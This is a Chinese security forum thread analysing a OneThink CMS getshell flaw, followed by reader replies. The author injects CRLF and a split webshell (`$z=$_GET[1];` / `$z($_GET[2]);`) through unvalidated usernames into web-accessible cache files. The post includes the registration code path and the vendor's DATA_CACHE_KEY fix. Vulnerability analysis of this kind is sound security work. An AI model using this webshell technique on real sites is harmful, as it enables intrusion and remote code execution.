九零登录

[【通过】] onethink最新通杀getshell定位分析

[复制链接]
发表于 2016-3-28 13:56:00 | 显示全部楼层 |阅读模式
申请邀请码一枚,想加入90这个大家庭。
参考:http://www.wooyun.org/bugs/wooyun-2010-0185742
1、为何分析这个漏洞?
      由于onethink我也是经常使用,源码也是经常修改,自己也发现一些小漏洞比如后台插件地方可以写入shell.
关于getshell倒是没有发现,除了thinkphp爆出其他几个安全漏洞会影响到OT,其他倒也是比较安全。/2怎么分析?
2、从哪里入手?
先看看厂商的回复
厂商回复:
感谢反馈,这个漏洞的根源在于可以访问到缓存文件,先不说部署的问题,其实ThinkPHP 内置了解决此问题的方案 只是大家都不用而已。设置DATA_CACHE_KEY参数为一个随机字符串即可,github上的onethink版本我做了一些调整。

3、猜测
我们可以发现这个漏洞出现在缓存文件部分可以被访问,也就是说是通过写入缓存文件?来shell?
4、源码分析和测试
下载OT源码解压安装,可以发现onethink的缓存或下载OT源码解压安装,可以发现onethink的缓存或者说TP的缓存默认是以文件形式缓存到Runtime目录下,并且是可以直接通过web方式进行访问的。

1.png

那么就是说我们要有权限修改这些缓存文件。
  • ├─Runtime 运行时目录
  • │ ├─Cache 模版缓存目录
  • │ ├─Data 数据目录
  • │ ├─Logs 日志目录
  • │ └─Temp 缓存目录



回到网站安装页面,可以看到我们可以操作的也就是可控的只有用户注册,用户登录。
先注册一个账号登陆上去看看都能操作什么。
1.png



登陆之后只能修改密码,好吧我们回过头来看继续看缓存。
1.png
缓存目录多了一个文件865e8245bc0c525aa4a48bfb433d7c3e.php。
分别打开缓存文件看看里面都是什么。
cbc58bd3cdec352c980d0ad729b5c219.php
<?php
//000000000000a:1:{i:2;a:28:{s:2:"id";s:1:"2";s:4:"name";s:12:"default_blog";s:5:"title";s:12:"默认分类";s:3:"pid";s:1:"1";s:4:"sort";s:1:"1";s:8:"list_row";s:2:"10";s:10:"meta_title";s:0:"";s:8:"keywords";s:0:"";s:11:"description";s:0:"";s:14:"template_index";s:0:"";s:14:"template_lists";s:0:"";s:15:"template_detail";s:0:"";s:13:"template_edit";s:0:"";s:5:"model";s:3:"2,3";s:9:"model_sub";s:1:"2";s:4:"type";s:5:"2,1,3";s:7:"link_id";s:1:"0";s:13:"allow_publish";s:1:"1";s:7:"display";s:1:"1";s:5:"reply";s:1:"0";s:5:"check";s:1:"1";s:11:"reply_model";s:1:"1";s:6:"extend";s:0:"";s:11:"create_time";s:10:"1379475028";s:11:"update_time";s:10:"1386839751";s:6:"status";s:1:"1";s:4:"icon";s:1:"0";s:6:"groups";s:0:"";}}
?>

2bb202459c30a1628513f40ab22fa01a.php
<?php
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:6:"你好";}
?>

4e819c837d54a6ed09abc77a8560a66f.php
<?php
//000000000000a:13:{s:8:"app_init";a:2:{i:0;s:26:"Behavior\BuildLiteBehavior";i:1;s:32:"Common\Behavior\InitHookBehavior";}s:9:"app_begin";a:1:{i:0;s:30:"Behavior\ReadHtmlCacheBehavior";}s:7:"app_end";a:1:{i:0;s:30:"Behavior\ShowPageTraceBehavior";}s:10:"view_parse";a:1:{i:0;s:30:"Behavior\ParseTemplateBehavior";}s:15:"template_filter";a:1:{i:0;s:31:"Behavior\ContentReplaceBehavior";}s:11:"view_filter";a:1:{i:0;s:31:"Behavior\WriteHtmlCacheBehavior";}s:16:"documentEditForm";a:1:{i:0;s:33:"Addons\Attachment\AttachmentAddon";}s:19:"documentDetailAfter";a:2:{i:0;s:33:"Addons\Attachment\AttachmentAddon";i:1;s:39:"Addons\SocialComment\SocialCommentAddon";}s:20:"documentSaveComplete";a:1:{i:0;s:33:"Addons\Attachment\AttachmentAddon";}s:23:"documentEditFormContent";a:1:{i:0;s:25:"Addons\Editor\EditorAddon";}s:16:"adminArticleEdit";a:1:{i:0;s:41:"Addons\EditorForAdmin\EditorForAdminAddon";}s:10:"AdminIndex";a:3:{i:0;s:29:"Addons\SiteStat\SiteStatAddon";i:1;s:33:"Addons\SystemInfo\SystemInfoAddon";i:2;s:27:"Addons\DevTeam\DevTeamAddon";}s:12:"topicComment";a:1:{i:0;s:25:"Addons\Editor\EditorAddon";}}
?>

865e8245bc0c525aa4a48bfb433d7c3e.php
<?php
//000000000000a:1:{s:2:"u2";s:6:"你好";}
?>



我们可以看到2bb202459c30a1628513f40ab22fa01a.php与865e8245bc0c525aa4a48bfb433d7c3e.php中缓存了我们的用户名之外,其它并没有任何可控位置。cbc58bd3cdec352c980d0ad729b5c219.php缓存了栏目分类,但是前台用户并不能创建栏目。
那么如果我们看看用户名的过滤规则。
Application\Home\Controller\UserController.class.php
/* 注册页面 */
public function register($username = '', $password = '', $repassword = '', $email = '', $verify = ''){
        if(!C('USER_ALLOW_REGISTER')){
            $this->error('注册已关闭');
        }
  if(IS_POST){ //注册用户
   /* 检测验证码 */
   if(!check_verify($verify)){
    $this->error('验证码输入错误!');
   }

   /* 检测密码 */
   if($password != $repassword){
    $this->error('密码和重复密码不一致!');
   }   

   /* 调用注册接口注册用户 */
            $User = new UserApi;
   $uid = $User->register($username, $password, $email);
   if(0 < $uid){ //注册成功
    //TODO: 发送验证邮件
    $this->success('注册成功!',U('login'));
   } else { //注册失败,显示错误信息
    $this->error($this->showRegError($uid));
   }

  } else { //显示注册表单
   $this->display();
  }
}

追踪到Application\User\Api\UserApi.class.php
protected function _init(){
        $this->model = new UcenterMemberModel();
    }
    public function register($username, $password, $email, $mobile = ''){
        return $this->model->register($username, $password, $email, $mobile);
    }

继续看\Application\User\Model\UcenterMemberModel.class.php对于用户名的验证
/* 用户模型自动验证 */
protected $_validate = array(
  /* 验证用户名 */
  array('username', '1,30', -1, self::EXISTS_VALIDATE, 'length'), //用户名长度不合法
  array('username', 'checkDenyMember', -2, self::EXISTS_VALIDATE, 'callback'), //用户名禁止注册
  array('username', '', -3, self::EXISTS_VALIDATE, 'unique'), //用户名被占用

可以看到1和3可以忽略不影响,看看2自定义函数checkDenyMember
protected function checkDenyMember($username){
  return true; //TODO: 暂不限制,下一个版本完善
}
也就是说整个过程中用户名没有任何判断,中文、特殊字符都可以插入。那么就好办了,如果我们在用户名中插入一句话?会怎么样?
接下来看看数据结构
1.png


username char 长度16,一句话木马呢? eval($_GET[c]); 这个长度不够啊。而且缓存内容是被//000000000注释掉的。这可怎么办?
现在需要解决一句话木马字符太长和一句话会被注释掉的问题。
如何攻克被注释的问题?
由于上面username没有过滤\r\n,那么如果我们提交注册的用户插入一个换行符呢?这样是不是就能把注释避开?测试一下看看。

1.png
1.png
1.png


可以发现%0d%0a 回车换行url编码 成功让PHP缓存文件换行。
如何解决一句话字符数太长?
这个相对比较简单 eval($_GET[c]);分成两段  $z=$_GET[1]; $z($_GET[2]); ,然后注册两个带换行符的用户并登陆。
由于$a123";}后面有";},为了使文件不报错那么我们应该注册$z=$_GET[1];\\ 和 $z($_GET[2]); 两个用户  ,php结尾;可以忽略那么就是$z=$_GET[1];\\和$z($_GET[2])
5、成功
1.png
1.png
至此此次分析到此为止, 求通过,求加入,求邀请码。

=================================

过程详细,思路清晰,不错,通过!



评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-3-28 15:19:28 | 显示全部楼层
不错
发表于 2016-3-28 15:45:53 | 显示全部楼层
缓存文件名称怎么获取?
 楼主| 发表于 2016-3-28 16:48:40 | 显示全部楼层
lovecmd 发表于 2016-3-28 15:45
缓存文件名称怎么获取?

DATA_CACHE_KEY参数不修改
那么缓存文件名是固定的
发表于 2016-3-28 20:14:45 | 显示全部楼层
不错,思路敏捷,onethink的缓存文件名如果不改DATA_CACHE_KEY的参数都会一样么?
发表于 2016-3-28 23:38:57 | 显示全部楼层

不错,思路敏捷

评分

参与人数 1酒票 -1 收起 理由
管理05 -1 请勿灌水

查看全部评分

发表于 2016-3-29 07:14:27 | 显示全部楼层
楼主分析的很好~原来那个key应该是动态的,防止被爆破。如果是静态的直接就能getshell。\r\n这里学习啦
发表于 2016-3-29 09:31:28 | 显示全部楼层
这个思路可以啊
发表于 2016-3-29 11:06:54 | 显示全部楼层
分析挺给力的,利用空格回车把代码写进去并解析了
发表于 2016-3-29 14:01:42 | 显示全部楼层
一个星期前基友挖到此漏洞,没玩一个星期,特么的被提交了。 还能不能愉快的玩耍了。
发表于 2016-3-31 11:59:15 | 显示全部楼层
思路可以的   缓存文件名称不随机还能访问这个是真的蛋疼
发表于 2016-4-1 08:29:54 | 显示全部楼层
随机值还是比较麻烦的
发表于 2016-4-2 13:25:29 | 显示全部楼层
我有一套源码和这个程序差不多,也是可以写入缓存,奈何不会审计。但是楼主的思路我看明白了。赞一个
发表于 2016-4-11 19:17:28 | 显示全部楼层
内容很不错,DATA_CACHE_KEY的配置问题,只是大多数管理员没去注意罢了。。。。
发表于 2016-5-9 10:02:42 | 显示全部楼层
这个漏洞早些时候我就发现了。你干嘛公布出来。
 楼主| 发表于 2016-5-18 12:40:58 | 显示全部楼层
Blck 发表于 2016-5-9 10:02
这个漏洞早些时候我就发现了。你干嘛公布出来。


九零

GMT+8, 2026-10-22 12:52

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表